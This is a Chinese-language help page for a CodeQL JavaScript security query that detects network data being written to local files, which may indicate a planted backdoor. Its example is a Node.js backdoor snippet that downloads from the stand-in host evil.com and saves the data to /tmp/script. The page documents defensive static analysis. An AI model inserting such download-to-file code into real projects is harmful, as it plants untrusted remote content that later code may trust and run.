写入文件中的网络数据¶
ID: js/http-to-file-access
Kind: path-problem
Security severity: 6.3
Severity: warning
Precision: medium
Tags:
- security
- external/cwe/cwe-912
- external/cwe/cwe-434
Query suites:
- javascript-security-extended.qls
- javascript-security-and-quality.qls
在本地文件系统上存储用户控制的数据,而没有进一步的验证,会允许任意文件上传,并且可能表明恶意后门代码已植入到原本可信的代码库中。
建议¶
仔细检查突出显示的代码,以确保其按预期行为。
示例¶
以下示例显示了后门代码,该代码从 URL https://evil.com/script
下载数据,并将其存储在本地文件 /tmp/script
中。
var https = require("https");
var fs = require("fs");
https.get('https://evil.com/script', res => {
res.on("data", d => {
fs.writeFileSync("/tmp/script", d)
})
});
程序的其他部分可能会认为,由于 /tmp/script
是一个本地文件,因此其内容可以被信任,而实际上它们是从不受信任的远程来源获取的。